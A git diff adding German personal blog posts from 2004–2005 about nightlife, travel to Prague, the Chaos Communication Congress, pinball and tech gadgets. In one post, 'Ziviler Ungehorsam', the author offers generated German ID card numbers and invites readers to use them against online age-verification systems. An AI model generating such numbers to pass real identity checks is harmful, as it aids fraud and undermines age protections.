70groesser und vor allem breitschultriger waren als ich, liessen sie sich
71doch von meinem ehrlichen und aufrichtigen Aerger, artikuliert und
72verdeutlicht durch Aufplustern und Rumkeifen, zurueckschrecken. Die Zeit
73reichte, Opfer und Moped zu schnappen und zur naechsten Tanke zu rollern.
74Er hatte wohl beim Aussteigen aus dem Taxi seinen Freunden noch was
75zugerufen, was sich die Clique wohl zum Anlass nahm, ihren "kruden
76Ehrenkodizes" (Spiegel 13/2004) zu folgen und dem offensichtlich aus
77Schwaben zugezogenen Studenten einen Zahn locker zu pruegeln. Ums kurz zu
78machen: die 5 Typen kamen sogar zur Tanke hinterher, um uns nocheinmal
79anzupoebeln und als der Tankwart drohte, die Polizei zu holen,
80verdrueckten sie sich in die Nebenstrasse. Ich half meinem Passagier den
81grossen roten Integralhelm ueber, wegen der Sicherheit des Schaedels und
82brachte ihn noch nach Hause.
83
84Des Sonntags hab ich dann den Frank auf seiner Datscha in der Uckermark
85besucht. 65km mit dem Moped die B2 runter sind bei diesem Wetter nicht die
86allerreiste Freude. Andererseits ist der Preis von 6 EUR (also eine
87Tankfuellung) unschlagbar. Das Anwesen da ist beeindruckend und deutlich
88zum Abnerden im Spaetfruehling geeignet.
89
90Prag war fett. Kurz vor der Abreise habe ich noch ein wenig [Vorbereitung fuer das Chaosradio](files/SPAM) geschrieben, so
91dass ich die Zugfahrt ausgiebig zum Schlafen nutzen konnte. Am Bahnhof
92wurden wir sofort von einer aelteren Dame abgefangen, die uns nach einigem
93Handeln fuer 8EUR pro Nacht und Nase in einem Zimmer ihrer Wohnung direkt
94am Vaclavski namesti (also zentralst) unterbrachte. Zustand der Huette war
95so lala, aber sehr nett mit angenagelten Jesussen und ungenagelten
96Marien in _viel_ ausstaffiert. Der im Nachbarzimmer einquartierte
97Amerikaner zeigte sich ein einziges Mal, fragte nach Feuer und nahm dann
98gleich ein gutes Dutzend Streichhoelzer. Danach roch man nur noch die
99unglaublichen Mengen Gras, die er weggeraucht haben musste, um wirklich
100die gesamte Wohnung zu aromatisieren. - Dafuer war er aber auch
101ruhig.
102
103Ueber die Erlebnisse in Prag koennte ich jetzt stundenlang referieren,
104das wuerde aber den Rahmen sprengen, also nur kurz: die Stadt ist viel
105teurer geworden. Bier fuer 25 Pfennig bekommt man nirgends mehr. Wetter
106war okay. Touristen komisch bis anstrengend (jaja ich weiss, erdgeist
107mittenmang). Man muss mittlerweile suchen, um noch "parek v rohliku"
108oder auch Kettwurst zu bekommen, damals gabs die noch an jeder Ecke. Zum
109Glueck kannte ich noch ein paar ruhige und versteckte Lokale aus meiner
110Schulzeit, zum Beispiel eine riesige Terasse direkt unter der
111Karlsbruecke, zu der man nur gelangt, wenn man einmal quer durch eine
112schlechte Discotheque laeuft, was natuerlich kein Touri tut. Schlimm
113ist, dass da so ab 1 (ausser dirket im Touristenepizentrum) alles
114zumacht und man von 21 Uhr an nichts mehr zu Essen bekommt. Das brachte
115meinen Schlafrhythmus deutlich durcheinander. Paar Bilder gibts [hier](pics/Prag/). Qualitaet erstmal schlecht, weil mit der
116kleinen Taschenbillig-DV-Cam aufgenommen, Fotos kommen spaeter. Aber den
117Geschenkgutschein habe ich [eingeloest.](pics/Prag/IMAG0004.JPG) Ich habe jetzt einen 1.20m
118hohen [Krtecek](http://www.maulwuerfiges.de/Krtecek.htm).
119Total cool. Total knuddelig. Und alle Maedels fliegen drauf. Naja, fast
120alle. Also die wichtigsten zumindest. Nur das Nach-hause-tragen brachte
121einige unangenehme physische Aspekte mit sich, da ich noch einen
122schweren Reiserucksack buckeln musste. - Hat sich aber gelohnt. Wer auch
123mal knuddeln kommen moechte, darf sich gerne melden, ihr werdet auf der
124Liste plaziert.
125
126Zu guter Letzt war ich heute mit Frank den Teufelsberg in Berlin
127besuchen. Da haben die Amis ihren Horchposten gehabt, nach der Wende
128wollten da ein paar Bekloppte Wohnungen und ein Hotel reinbauen und nun
129liegt das Areal vorerst brach. Das Gelaende gibt eine prima
130Paintballumgebung ab und es gibt _wirklich wirklich_ viel zu entdecken.
131[Hier](pics/Teufelsberg/) schonmal ein paar Bilder in low
132quality, besser Bilder folgen.
diff --git a/blog/2004/Sniff.md b/blog/2004/Sniff.md
new file mode 100644
index 0000000..b785ab2
--- /dev/null
+++ b/blog/2004/Sniff.md
@@ -0,0 +1,6 @@
1<!--
2.. date: 2004/09/29 23:02
3.. title: Sniff
4-->
5
6Ich wuerde von mir nicht behaupten, [nahe am Wasser gebaut](http://www.na-starowje.de/Bilder/Fun/Heulsuse_Jancker.jpg) zu sein, aber als ich heute nach fast 4 Jahren meinen [Schreibtisch in der Firma geraeumt](http://www.recht-und-fuehrung.de/schule-management/themen-a-z/artikel05250.html) habe, hatte ich doch schon den einen oder anderen trockenen Klos im Hals. Nun ist aber alles verpackt und nach Hause gekarrt worden und ich kann getrost in den [Urlaub](http://www.bkk-gui.de/forum/) aufbrechen.
diff --git a/blog/2004/Teil_I.md b/blog/2004/Teil_I.md
new file mode 100644
index 0000000..673eb23
--- /dev/null
+++ b/blog/2004/Teil_I.md
@@ -0,0 +1,47 @@
1<!--
2.. date: 2004/01/13 11:18
3.. title: Jahresabschluss - Teil I
4-->
5
6Viel ist passiert. Zuerst: seit dem letzten Eintrag ist mir Rudelweise
7Hardware verreckt. Es ging los mit meinem Mailserver, der nach Einsetzen
8einer neuen Batterie und ein wenig Peripherie nicht mehr booten wollte.
9Eh mein Kumpel Andreas darauf kam, dass die neue Batterie das CMOS so
10zurueckgesetzt hat, dass er nicht mehr von der System-SCSI Platte booten
11wollte, zogen zwei Wochen ins Land. Danach hat es mein T20 erwischt. Aber
12hier der Reihe nach. Ich habe, wie angedacht, den Congress des Chaos
13Computer Club besucht. (Die haben da zum Congress nochmal das Haus des
14Lehrers am Alex [beblinkt](https://www.blinkenlights.de/).
15Diese Aktion schien besser organisiert, als der Congress selbst.) Als ganz
16kurzfristig noch ein Vortragsslot frei wurde, habe ich mich breitschlagen
17lassen, einen [Workshop](http://www.ccc.de/congress/2003/fahrplan/event/657.en.html)
18zu fuehren. (Die Anzeichen klar legasthenischer Entgleisungen bei der
19Projektbeschreibung muss ich klar dem ["Internetdirektor"](http://www.ostkreuz.de/ostkreuz/reportage/reportpicture/portrait/science/maguhnmw.html)
20Andy Mueller Maguhn attestieren. Er hat sie von einer digitalen Vorlage
21auf meinem 9210 abgetippt.)
22
23Der Workshop wurde ganz nett, erschwert eigentlich nur durch den Ausfall
24des Backlights meines IBM Thinkpad. Ich sass am ersten Congresstag ganz
25gemuetlich mit Constanze auf dem Boden irgendwo im [bcc](http:///www.bcc-berlin.de/) und waehrend ich laessig mein
26Notebook aufklappen will, um mich an die Datenakquise zum Vortrag zu
27machen... :) nein, kein wilder Unfall. Gar nix. Ueberhaupt nichts.
28Einfach Display aus. Gut, meinen Umgang mit dem Notebook pfleglich zu
29nennen, wuerde der Realitaet nicht gerecht. Aber zumindest hab ich ihn
30nicht vorsaetzlich zu zerstoeren gesucht. Also kein Grund, sich so gemein
31zu raechen. Schlimmer noch, dass ich bei mir zuhause, dank des gezielten
32Zusammenbrechens des Regals im Flur und des daraus resultierenden
33Zusammenpralls diverser schwerer Gegenstaende mit der Festplatte meines
34ISDN-Routers, kein Internet mehr hatte. Da sich aber bei mir zu hause
35Nerds vom Congress einquartiert hatten, hielt sich der Kummer in Grenzen
36und im hoeflicherweise von Conz bereitgestellten Nachtlager gabz abends
37und zum Fruehstueck noch lecker beruhigenden Tee. Den Vortrag habe ich in
38der Firma mit viel Hilfe von David, Edmund und Gunnar fertig gemacht und
39den Rest des Congress dank eines Spieleabends bei Frollein Marion und dem
40daraus zwangslaeufig folgenden Kater mit einem schwammigen Gefuehl
41verbracht. Die Praesentation wurde dann mit dem Leihnotebook von Philipp
42(DANKE DANKE DANKE nochmal) gerettet, mt dem ich dann am Ende des dritten
43Congresstags noch die FTP-Server leerlutschen wollte. Dummerweise wurde
44aber schon ab 22:00 Uhr zusammengebaut, so dass gegen acht schon kein
45einziger Server mehr an war. Schade eigentlich, denn ich weiss nicht, wann
46ich in naechster Zeit nochmal soviel Daten so leicht auf einem Haufen
47haben werde.
diff --git a/blog/2004/Teil_II.md b/blog/2004/Teil_II.md
new file mode 100644
index 0000000..745b94a
--- /dev/null
+++ b/blog/2004/Teil_II.md
@@ -0,0 +1,67 @@
1<!--
2.. date: 2004/01/16 02:17
3.. title: Jahresabschluss - Teil II
4-->
5
6Fuer [Silvester](http://bz.berlin1.de/aktuell/news/031231/knaller.html)
7war ich in [Schwaben](http://www.die7schwaben-online.de/)
8eingeladen. Ist immer nett dort, die Leute machen ihren Alkohol aus dem
9liegen gebliebenen Obst [selbst](http://www.moonshiners.com/Moonshiners/still.html)
10und man kommt ueblicherweise mit mehreren
11[Kilogramm mehr auf den Rippen](http://tomster.org/blog/59)
12heim.
13
14Da ich vom Tag noch was erleben wollte, bestellte ich fuer den 30. um
1508:00 Uhr ein Mietauto und zu 08:30 Uhr Mitfahrer von der [Mitfahrzentrale](http://www.mitfahrzentrale.de). Da der letzte
16Congress-Tag (wie schon beschrieben) nicht so lange ging, und ich nur noch
17kurz in der [C-Base](http://www.c-base.de/) zur after congress
18party vorbeigeguckt hab, war ich auch schon (fast vorbildlich) um halb
19zwei im Bett. Nun gut. Auch das sind nicht die _optimalen_ Voraussetzungen
20fuer 5 Stunden [Autobahn](http://www.swr.de/rasthaus/archiv/2003/04/05/print3.html),
21aber da ich mir einen Audi A4 gelickt hab (oehm :), der das Fahren deutlich
22entspannt macht, hielt ich die verbleibende Schlafenszeit fuer
23angemessen.
24
25Da hatte ich nicht mit Andrea gerechnet, die mich um 05:30 Uhr (ja,
26NACHTS!) [
27rotzbesoffen](http://www.region-online.de/bildung/ars/webbg/alkohol/leber.htm) aus dem Schlaf klingelte und mir eine Viertelstunde
28lang zu schaffen machte, auch nur die geringsten grammatikalischen
29Zusammenhaenge auf dem Wortstrom zu filtern. Von da an war an geruhsamen
30Schlaf nicht mehr zu denken und ich kam
31[geraedert](http://www.8ung.at/runestone/folter/folter.htm) bei
32europcar an. Dort wurde ich erst fuer 10 Minuten hingehalten, dann musste
33ich 10 Minuten auf einen Fahrer warten, der mich und noch zwei Kunden zu
34einem Parkhaus fuhr. Hier bekam nun jeder sein Auto einzeln
35herausgefahren. 20 Minuten und 3 Anrufe dreier Mitfahrer spaeter ich dann
36auch meins.
37
38Die Fahrt war die Hoelle. Die Sonne schien wirklich _hell_ und auf dem Weg
39nach Sueden und durch die geringe Sonnenhoehe im Winter schrie sie mir die
40gesamte Fahrt ins Gesicht. Frontal. Unnachgiebig. Ich empfinde dieses
41Verhalten als puren Hohn. Wenn sie schon ihre Arbeit so schlecht tut und
42einen [bestaendig
43frieren](http://perso.wanadoo.fr/dmtmcham/Old/DMTMD.html) macht, dann muss sie auch nicht dem unangenehmen
44Blendeteil ihrer Taetigkeit nachkommen. - Kurzum, den Rest des 30.
45Dezembers habe ich in der [Falle](http://www.bikersweb.ch/jokes/jan/bett.jpg)
46verbracht.
47
48Zu Silvester wurden natuerlich Pfannkuchen (und zwar nicht [den](http://www.die-maus.de/spielen/rezepte/pfannkuchen/) sondern
49[den hier](http://home.snafu.de/eberl/awards/pfannkuchen.shtml)),
50Mandarinchen fuer den Sekt (_very_ ossi, indeed), [lustige Troeten](http://www.sonderheim.de/BilderAusflug.html),
51Sekt und [Wunderkerzen](http://www.contextredaktion.de/linkseiten/karlkochzeit.htm)
52erworben.
53
54Die Party konnte also steigen. Es ging auf den hoechsten Huegel der
55Gegend. Mit 360° Panorama Blick auf die umliegenden Doerfer. Kurz vor
56Mitternacht rumgetroetet. Um Mitternacht ging das Rumraketen ueberall los.
57Sektaufmachen, Indiearmefallen, Frohesjahrwuenschen, Rumtroeten,
58Wunderkerzenbrennen, der ganze Silvesterpathos. Und dann Ruhe. 10 Minuten
59nach Mitternacht beschliesst der Durchschnittsschwabe, dass genug Geld
60ausgegeben, der Durchschnittsboesegeist wohl fortgejagt und es Zeit fuers
61Bettchen sei. Beeindruckend.
62
63Nachdem der Sekt ausgeschluerft war und die letzten Wunderkerzen als
64Heiligenschein herhalten mussten, gings dann an der [zusammengerotteten](http://www.zusamm-rottung.de/) Dorfjugend
65vorbei, heim. Der Abend offenbarte wieder Konditionsschwaechen bei mir und
66fuehrte zu einem fruehen Jahresanfangsende. Jahr 2003 ist hiermit fuer
67mich abgeschlossen.
diff --git a/blog/2004/Von_wegen_nichts_erlebt.md b/blog/2004/Von_wegen_nichts_erlebt.md
new file mode 100644
index 0000000..0139145
--- /dev/null
+++ b/blog/2004/Von_wegen_nichts_erlebt.md
@@ -0,0 +1,30 @@
1<!--
2.. date: 2004/02/23 23:38
3.. title: Von wegen nichts erlebt
4-->
5
6Die letzte Woche war gepraegt von viel Bier trinken, [flippern](http://tomster.org/blog/91), [flippern](https://outpost.h3q.com/blog/2004-02-15-02.blog) und [flippern](http://www.haecksen.org/~tina/archiv2004/02/index.html). Zudem war ich noch mit Andrea (die am Sonntag fuer ein paar Wochen nach Schwaben aufgebrochen ist) im [Feuermelder](http://www.zitty.de/gastro/finder/index.asp?subpage=3&ResID=1882) [flippern.](http://www.pinball.com/games/atmars/) Aergerlich hierbei ist nur dieser "5 Spiele fuer 2 EUR" Faktor. Eigentlich will man eine Flipperflatrate und am besten in Form eines eigenen. Ein kurzer Blick in das [Reallife Warez Trading Tool](http://cgi.ebay.de/ws/eBayISAPI.dll?ViewItem&item=3276178442&category=42787) verraet mir aber leider, dass mein [Haushalt](http://www.bundestag.de/mdb15/bio/E/eicheha0.html) diese nicht abzusetzende Investition gerade nicht hergibt. Zudem bin ich leider darauf angewiesen, einen Verkaeufer im Umkreis von [Berlin](http://www.berliner-stadtplan.com/) zu finden. Flipper gross und schwer, wissen schon.
7
8Ich habe mich ueberreden lassen, einen [Scheissfilm](http://imdb.com/title/tt0332379/) zu gucken. Aber nur, weil ich das Filmplakat erst im [Kino](http://www.luffa.nu/shock/kino.jpg) gesehen hab. Nicht. Nicht hingehen. Nicht hingehen und angucken. Nur meine Meinung. (Aber musste mal raus. Danke, Tina!)
9
10Zudem stand noch eine [Klausur](http://www.die-klausur.de/) in [Chemie](http://www.periodensystem.info/) an. War nicht so prall. Werd wohl zur Nachklausur nochmal [antanzen](http://www.ballerinagallery.com/) muessen. Korrelliert proportional mit meinem Vordiplom. Im Informatik-Institut gab es zum Abschluss einer [Ringvorlesung](http://www.informatik.hu-berlin.de/announce/2003/ringvorlesung.shtml) zu eingebetteten Systemen einen netten Vortrag von [Prof. Coy](http://waste.informatik.hu-berlin.de/coy/) ueber [RFIDs](http://www.digitalangelcorp.com/). Die Dinger druckt man inzwischen auf riesigen Rollen, wie Zeitung mit 2m/s, Plastik(halb)leiter auf Folie. Massenware und bald schon in [ deiner Milchtuete.](http://www.foebud.de/texte/aktion/rfid/index.html)
11
12Andrea hatte Geburtstag. Wir haben nett [reingefeiert](http://user.cs.tu-berlin.de/~werni/Bezirke/kreuzberg.html#franken). Ich hab mir ein nettes [luftiges Wochenende im Sommer](http://www.fantasycars.com/Mercedes_SLK/mercedes_slk.html) als Geschenk einfallen lassen. Ist hoffentlich angekommen.
13
14Am Samstag hatte [Schwesterherz](http://gutenberg.spiegel.de/grimm/maerchen/bruedchn.htm) Geburtstag. Familienfeier, das Uebliche. Schwager kennen gelernt. Windowsadmin aus [Wuppertal](http://home.t-online.de/home/Wolfgang-Arnold/kralle.htm). Im IRC kennengelernt. Weil mir immer keine bloeden Geschenke einfallen, gabs [Donauwelle](http://www.janko.at/Rezepte/Kuchen/Donauwelle.htm) (Vergleiche auch [hier](https://erdgeist.org/stats/blog/#2003_10_26_02_52_Altes)). Zum Geburtstag meines Papas im November wurde von einem Verwandten "Donauwelle" angeschleppt, die dem schwaebisch-patriotischen Empfinden von Andrea entgegenlief. Also konnten wir mit einer [leckeren](http://www.lohmiller.de/bilder/latz.JPG) Kaffeetischtorte aufwarten und zeigen, wie man das richtig macht. Leider hat der Kuchen beim Roller-Gepaecktrager gerechten Aufschneiden ein dem Transport ein wenig gelitten. Aber der Wille zaehlt.
15
16Der Abend galt dann [einer alten Schulfreundin](http://www.grips-theater.de/ensemble/doering_01.php), Manja. Hab ich vor einer Weile beim lustlos meinen [Dump des Telefonbuchs](https://ds.ccc.de/077/telefonbuch-hacken) Verifizieren entdeckt. Und angerufen. Und auf ein Bierchen getroffen.
17
18Dann gegooglet. Ich war es ja gewohnt, dass man zu allen Klassenkameraden eins, zwei google-hits findet, von denen einer immer dem Fussballverband Untersulzbach gehoert, in dem sich durch Zufall ein Spieler mit dem Vornamen und einer mit dem Nachnamen, den man gerade sucht, befindet. Der andere Hit ist dann zu 50% wirklich die gesuchte Person, die sich mit [tausenden anderer in den Weltraum schiessen lassen moechte](http://stardust.jpl.nasa.gov/overview/microchip/names2l12.html), oder irgendeine beruehmte Person, wobei das im Kontext "beruehmt in der internationalen Zuchtbullenbefruchtungsszene" zu sehen ist.
19
20Bei Manja schrillten gleich die Google-alarm-glocken. Naja, genug Privatsphaere zerstoert.
21
22Zumindest feierte sie den Umzug nach [Neukoelln](http://home.arcor.de/benjamin.ackers/images/bierbauch.jpg). Ziemlich coole Wohnung. Aber seltsame Party. Gleich beim Einzug in die Kueche polterte mich ein betrunkener Student an, dass ich doch bestimmt Elektrotechnik an der FH studieren wuerde und keine Freundin haette. Ich muss wohl ziemlich abgewrackt ausgesehen haben. Es stellte sich raus, dass der Typ gerade in Mathematik an der HU promiviert, meine Studienfaecher scheisse oede findet, Adlershof auch, sofort gemerkt hat, dass ich Ossi sei, ich naiv sei, weil ich nicht sofort bemerkt haette, dass er Wessi sei, was er in Wirklichkeit gar nicht war, sondern ein Nazi aus Rostock, der sich jetzt seine Haare langwachsen laesst, weil er dann seine politischen Meinungen eher herueberbringen kann. Er gab erst Ruhe, als ich meinte, dass, obwohl ich aus Marzahn bin, ich selber kein Nazi sein, diese frueher eher verhaun haette.
23
24Spaeter traf ich dann meinen alten Schulfreund Olaf, so ein Zwei-hit-wunder, wie ich grad merke. Mit dem habe ich damals betrunken in seiner Kueche gehockt und [schmutzige Lieder](https://erdgeist.org/arts/music/Sven.mp3) geschrieben. Dann kam wohl Bundeswehr und eine Ausbildung zur Versicherungskauffrau. Ich hatte Muehe, zwischen den pathetischen Platitueden und hilflosen Beschwoerungen des Spass' alter Zeiten, meinen Kumpel Olaf wiederzuerkennen. Schade.
25
26Ob der schlechten Musik und des eh schon erlebnisreichen Tages waren dann meine Kohorte (Antenne und Martin warn noch mit dabei) und ich schon relativ frueh abbruchreif. Gestern ist Andrea dann nach Schwaben aufgebrochen. Ich habe gelernt, dass man mit 3 grossen Rucksaecken nicht bequem auf dem Roller fahren kann und den Rest des Tages [Musik gemacht.](https://erdgeist.org/band/)
27
28Heute kam das offizielle Announcement von Nokia, dass sie in Q4 das [9500](http://www.nokia.com/nokia/0,6771,54108,00.html) herausbringen wollen. Fuer mich als Fan des Communicators lesen sich BlueTooth, WLan, GPRS (endlich!!! D1 kann naemlich nur HSCSD), nur noch die halbe Breite, Kamera und einen vernuenftigen Druckpunkt auf der Tastatur wie alles, was ich immer vermisst hab. Dass er nun auch IPSec sprechen wird, ist eigentlich nebensaechlich, da ich fuer die wichtige Kommunikation (mails lesen, ircen, etc.) [ssh](http://s2putty.sourceforge.net/) verwende. Was fuer ein Prozessor drin steckt, stand natuerlich nicht dabei, wie generell bei den neuen Telefonen. Also muss ich wieder benchmarken. (Bei meinen letzten Tests kam fuer alle Nokia Series 60 Telefone sowas im Bereich 140MHz StrongARM oder ARMT9, fuer p80x/p90x ein 206MHz ARM und fuer das 9210 ein 55 MHz ARMT9 heraus. [Die hier](http://www.mobileopera.com/9210) meinen, dass das 52MHz sein, also gar nicht so schlecht. Das wollte ich schon immer mal an exponierter Stelle veroeffentlichen. Wer das Benchmarkprogramm will, [mailt mir](mailto:erdgeist@erdgeist.org).) Das einzige Problem sind die 800EUR, die Nokia dafuer aufrufen will. Ich muss das also bei Zeiten in irgendein Projekt verpacken und mir von wem bezahlen lassen.
29
30Heute hat mir [Martin](https://www.weltregierung.de/home/) zum Rumbohren in der alten [Opalwunde](https://erdgeist.org/stats/blog/#2003_10_24_14_28_Hoffen_auf_Netz) die [Netzverfuegbarkeitskarte](http://www.gewerbeflaechenatlas.berlin.de/tkatlas_berlin/default.cfm) von Berlin unter die Nase gerieben. Wenn man ein wenig clickt, sieht man leicht, ob man [zu den Ungluecklichen](http://www.gewerbeflaechenatlas.berlin.de/tkatlas_berlin/dslerlaeuterung.cfm) gehoert. Ich hoffe weiter.
diff --git a/blog/2004/Wochenblog.md b/blog/2004/Wochenblog.md
new file mode 100644
index 0000000..dc50985
--- /dev/null
+++ b/blog/2004/Wochenblog.md
@@ -0,0 +1,16 @@
1<!--
2.. date: 2004/03/20 01:39
3.. title: Wochenblog
4-->
5
6Letztes Wochenende war toll. Eigentlich war ich mit [jemand anderem](http://www.midwinter.com/b5/Pictures/Characters/natoth.gif) zum Betrinken verabredet, aber sobald [Frauen im Spiel](http://www.funfocus.net/bilder/tiere/hund3.jpg) sind, schein ich abgemeldet. War dann auch nicht schlimm, Karstens Mitbewohner hat Geburtstag gefeiert. Und wie sich das in der Jugendkohorte gehoert, gab es viel zu trinken, einige haben was geraucht und wir alle sind dann einen [Lampionumzug](http://www.liebestattdrogen.de/autoren/spider/kamille.htm) die [die Simon-Dach-Strasse](http://www.groeltourismus.de/mallorca_sonstige/images/ballermann3.jpg) herunter zu veranstalten. Ich war dabei sehr [unvernuenftig](http://www.dianetics.org/de_DE/articles/world-events/contagion.html) und habe mit [ viel zu wenig an](http://www.michis-seiten.de/seite114.html) in dem leichten Nieselregen einen [leichten Husten](http://www.doktor.ch/ratgeber/pneumonie-diagnose.htm) eingefangen(, der auch der Grund fuer die geringe Schreibaktivitaet in dieser Woche war). Das "nach der Party noch Rollerfahrn" tat dann sein Uebriges.
7
8[Die Zeitung](https://ds.ccc.de/) ist fertig geworden. Ich wette fast, dass das [Toms](http://tomster.org/) Sozialleben wieder entspannter macht. Zumindest werde ich jetzt im Messanger immer freundlich weggedrueckt, wegen Familiendingen. Verdient hat er's ja!
9
10Ich habe meine ersten [Tauschboersenerfahrungen](http://www.esel.org/) gesammelt. Mal so schauen, wie das die [Jugend](http://www.bstu.de/bildungsprojekte/thillm/seiten/Kapitel_4/14_jugendliche_fokus.htm) heutzutage macht, habe ich mir gedacht. Aber ["Herr Lehmann.mpg"](http://herr-lehmann.de/) war in Wirklichkeit amerikanischer Silikonbusenporn und ["Loriot - Pappa ante Portas.avi"](http://imdb.com/title/tt0102629/) kam ohne Ton daher. Also doch lieber weiter [brav](http://forum.leo.org/archiv/2003_02/09/20030209151316t_en.html) ins Kino gehen.
11
12Eine gute Freundin hat diese Woche Andrea und mich noch in die Verzweiflung getrieben. Ihr Freund hatte sie waehrend eines Halbjahresaufenthalts in $Ausland abserviert. Telefonisch. Mit "Bruder vorbeischicken und Sachen abholen". Fiese Tour. - Nach seiner unerwarteten Rueckkehr wollte er sich mit nun ihr treffen. Und was tut sie? Wirft sich ihm schnurstraks in die Arme, schliesst sich mit dem Typen 3 Tage ein und laesst all ihre Freunde solange sitzen. (An dieser Stelle habe ich lange an einem sarkastischen Kommentar dazu herumueberlegt, ziehe es aber vor, meiner Sprachlosigkeit durch Sprachlosigkeit Ausdruck zu verleihen)
13
14Und zu guter Letzt habe ich heute noch ein wenig ueber Hacker und Magie herumueberlegt. In einem Definitionsversuch habe ich mal gelesen, dass Magie alles das ist, was die Komplexitaet, die man zu erfassen faehig ist, uebersteigt. Streift dann auch in die Religion mit rein. Also fruehe Wettergoetter, weil man das mit den Tiefdruckgebieten nicht verstanden hat. Dann musste der Gott sukzessive immer komplexer werden, weil die Probleme, die man nicht verstand, immer weniger und dafuer immer komplexer wurden. Heutzutage fangen wir an, selber Systeme zu schaffen, deren Komplexitaet ueber das von einem Einzelnen zu Erfassende hinausgehen. Ein wenig Magie holen wir uns damit wieder in unseren Alltag. - Nur der Hacker, (aus der Definition des immer nach dem "wie" fragenden Geists) strebt auf seine rationelle Art die Beseitigung des Magischen an. Elemente der Aufklaerung und des Nihilismus verbinden sich. Aber auch, wenn man es nicht wahr haben will, ist die Komplexitaet sozialer Netzwerke noch eine der letzten Bastionen, in die sich die Magie verkriechen kann. Und hier findet sich dann bestimmt auch die Erklaerung, warum es die Geeks alle in Community Tools wie [Friendster](http://friendster.com) und [Orkut](http://orkut.com/) (und wie sie alle heissen) treibt: das eigene Sozialgeflecht wird quantisierbar, vergleichbar, seiner Magie beraubt. Ein wenig schade schon. Denn dort, wie die Magie wohnt, ist auch die Romantik zu haus. Und was uns die durchmathematisierte Gesellschaft bringt, hat [Jewgenij Samjatin](http://www.utopie1.de/samjatin/) schon vor 90 Jahren prophezeit. Man muss akzeptieren, dass es da immer Dinge gibt, die man nicht verstehen koennen will. Womit wir wieder bei der jungen Dame aus dem letzten Abatz waeren.
15
16Eins noch. [Dieses Flashadventure](http://www.datacraft.co.jp/takagism/index_e.html) hab ich beim naechtlichen clicken gefunden. Ich hab 23 Minuten gebraucht. Habt Spass.
diff --git a/blog/2004/Ziviler_Ungehorsam.md b/blog/2004/Ziviler_Ungehorsam.md
new file mode 100644
index 0000000..9bac487
--- /dev/null
+++ b/blog/2004/Ziviler_Ungehorsam.md
@@ -0,0 +1,10 @@
1<!--
2.. date: 2004/03/24 01:34
3.. title: Ziviler Ungehorsam
4-->
5
6[Vor ner Weile](https://www.ccc.de/updates/2002/personalID) gab es mit einem Altersverifikationssystem mal Probleme. Eine Firma hat allen, die den [Algorithmus zur Pruefsummenberechnung von deutschen Personalausweisen](http://erdgeist.org/arts/software/content-perso.html) veroeffentlichten, Briefe geschickt, in denen mit rechtlichen Schritten gedroht wurde.
7
8Inzwischen sind diese AVS technisch fortgeschritten und vergleichen nun die [Behoerdenkennziffer](http://www.pruefziffernberechnung.de/Begleitdokumente/BKZ.shtml) aus der Personalausweis-ID mit der Postleitzahl des ausstellenden Amts, die sie lokal fuer die BKZ gespeichert haben. Diese Liste haben sie wahrscheinlich sukzessive durch sich Anmeldende AVS-Benutzer aufgebaut.
9
10Und da ich das, was die koennen, schon lange kann, verschenke ich mal wieder [Personalausweisnummern, generiert](https://erdgeist.org/perso) und hoffe auf reichliche Beteiligung an der dezentralen Akquise. Das BKZ <-> PLZ spende ich natuerlich sofort der grossartigen Pruefziffernberechnungsseite.
diff --git a/blog/2005/Ablenkung.md b/blog/2005/Ablenkung.md
new file mode 100644
index 0000000..bf2dc15
--- /dev/null
+++ b/blog/2005/Ablenkung.md
@@ -0,0 +1,14 @@
1<!--
2.. date: 2005/05/28 03:52
3.. title: Ablenkung
4-->
5
6Zeit fuer sich und zum Nachdenken zu haben, bringt fuer mich zur Zeit eher Aerger und Truebsal mit sich. Um dem zu entgehen, muessen um mich herum einfach gerade
7viele Dinge passieren. Arbeit ist herausfordernd und spannend, die Band floriert, ich seh Leute, die ich schon eine echte Weile nicht mehr gesehn hab, tue
8Dinge, die ich mir schon immer mal vorgenommen habe, morgen gehts zum Beispiel zu Opa, Keller ausraeumen, heute war ich noch im Club
9[![](http://erdgeist.org/stats/blog/pics/CCCB.jpg)](https://erdgeist.org/stats/blog/pics/CCCB.jpg) Mariokarten, wieder Arbeiten, dann mal wieder
10SPIEGEL-lesend mit der S-Bahn durch die Stadt, und danach wild [![](http://erdgeist.org/stats/blog/pics/Rollern.jpg)](https://erdgeist.org/stats/blog/pics/Rollern.jpg) Rollern durch die Stadt, um bei den [Phenoeliten](http://www.phenoelit.de/) auf der [ph-neutral](http://ph-neutral.darklab.org/) in der [C-Base](http://www.c-base.org/) [![](http://erdgeist.org/stats/blog/pics/phNeutral.jpg)](https://erdgeist.org/stats/blog/pics/phNeutral.jpg) Bierchen mit netten Leuten zu schluerfen.
11
12Eben gabs nochmal Signale und [Heimkino](http://imdb.com/title/tt0151804/).
13
14Trotzdem zu viel Zeit ohne Ablenkung :(
diff --git a/blog/2005/Auf_gut_Glueck.md b/blog/2005/Auf_gut_Glueck.md
new file mode 100644
index 0000000..f495f54
--- /dev/null
+++ b/blog/2005/Auf_gut_Glueck.md
@@ -0,0 +1,16 @@
1<!--
2.. date: 2005/04/26 01:14
3.. title: Auf gut Glueck
4-->
5
6Heute haben sich die DreiEuroFuffzich fuer die [Sneak](http://www.yorck.de/yck/yorck_ie/yorck_kinos/filmtheateramfriedrichshain.php3)
7mal wieder richtig gelohnt. Der Film [Netto](http://www.sr-online.de/statisch/MOP/2005/wettbewerbsfilme/netto.htm)
8kommt unglaublich liebenswert daher, spielt in der Eberswalder plus Kiez, macht einen
9Lachen und aufgrund seine Authentizitaet peinlich beruehrt Weggucken zugleich.
10[Angucken!](http://www.kino-start.de/dload.php?file=153_1114068985.wmv)
11
12Letzte Woche gabs [Zimt und Koriander](http://imdb.com/title/tt0378897/). Auch
13nett, aber mit Laengen.
14
15Und bevor ichs vergesse: Das Konzert in Neuruppin war geil. Mit den Anwesenden Bier
16trinken, kickern und ueber Stimmlagen diskutieren in Wohnzimmerathmosphaere. Mehr davon!
diff --git a/blog/2005/Befreit.md b/blog/2005/Befreit.md
new file mode 100644
index 0000000..f2fb4e6
--- /dev/null
+++ b/blog/2005/Befreit.md
@@ -0,0 +1,6 @@
1<!--
2.. date: 2005/11/26 05:42
3.. title: Befreit
4-->
5
